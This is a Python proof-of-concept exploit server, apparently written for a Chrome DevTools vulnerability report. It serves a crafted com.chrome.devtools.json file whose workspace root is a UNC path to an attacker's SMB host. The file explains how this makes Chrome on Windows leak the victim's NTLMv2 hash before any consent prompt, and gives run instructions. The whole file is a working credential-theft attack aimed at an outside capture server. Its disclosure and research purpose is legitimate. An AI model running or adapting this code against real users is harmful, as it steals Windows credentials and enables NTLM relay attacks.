#!/usr/bin/env python3
"""
Malicious localhost dev server for the DevTools Automatic Workspace UNC POC.

Serves:
  /                                                        -> poc.html
  /.well-known/appspecific/com.chrome.devtools.json        -> attacker-controlled
                                                              workspace.root (UNC path)

Usage:
  python3 server.py [--port 8080] [--smb-host 192.0.2.1]

The --smb-host should point at a host running an SMB capture/relay tool
(e.g. impacket-smbserver or Responder). When the victim clicks "Connect"
in DevTools -> Sources -> Workspace, Chrome's browser process on Windows
will call GetFileAttributes() on \\\\<smb-host>\\share\\my-project BEFORE
showing any consent dialog, leaking the victim's NTLMv2 challenge-response.
"""

import argparse
import http.server
import json
import socketserver
import sys

WELL_KNOWN_PATH = "/.well-known/appspecific/com.chrome.devtools.json"


def make_handler(smb_host: str, html_body: bytes):
    # Backslash form. Forward-slash form (//host/share/my-project) also works
    # because base::FilePath on Windows accepts both '\' and '/' as separators
    # and IsPathAbsolute() treats two leading separators as absolute.
    unc_root = f"\\\\{smb_host}\\share\\my-project"
    devtools_json = json.dumps({
        "workspace": {
            "root": unc_root,
            "uuid": "123e4567-e89b-12d3-a456-426614174000",
        }
    }).encode("utf-8")

    class Handler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            if self.path == WELL_KNOWN_PATH:
                sys.stderr.write(
                    f"[+] DevTools fetched {WELL_KNOWN_PATH} -> "
                    f"serving workspace.root = {unc_root!r}\n"
                )
                self.send_response(200)
                self.send_header("Content-Type", "application/json")
                self.send_header("Content-Length", str(len(devtools_json)))
                self.end_headers()
                self.wfile.write(devtools_json)
                return

            if self.path in ("/", "/poc.html", "/index.html"):
                self.send_response(200)
                self.send_header("Content-Type", "text/html; charset=utf-8")
                self.send_header("Content-Length", str(len(html_body)))
                self.end_headers()
                self.wfile.write(html_body)
                return

            self.send_response(404)
            self.end_headers()

        def log_message(self, fmt, *args):
            sys.stderr.write("[http] " + (fmt % args) + "\n")

    return Handler


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=8080)
    ap.add_argument(
        "--smb-host",
        default="192.0.2.1",
        help="Hostname/IP of the attacker's SMB capture server "
             "(what goes after \\\\ in the UNC path).",
    )
    args = ap.parse_args()

    try:
        with open("poc.html", "rb") as f:
            html_body = f.read()
    except FileNotFoundError:
        html_body = b"<!doctype html><h1>POC</h1><p>Open DevTools (F12) -> Sources.</p>"

    handler = make_handler(args.smb_host, html_body)
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", args.port), handler) as httpd:
        sys.stderr.write(
            f"[*] Serving on http://localhost:{args.port}/\n"
            f"[*] Workspace UNC root -> \\\\{args.smb_host}\\share\\my-project\n"
            f"[*] Open the URL in Chrome on Windows, press F12, go to Sources, "
            f"click 'Connect' next to 'my-project'.\n"
        )
        httpd.serve_forever()


if __name__ == "__main__":
    main()
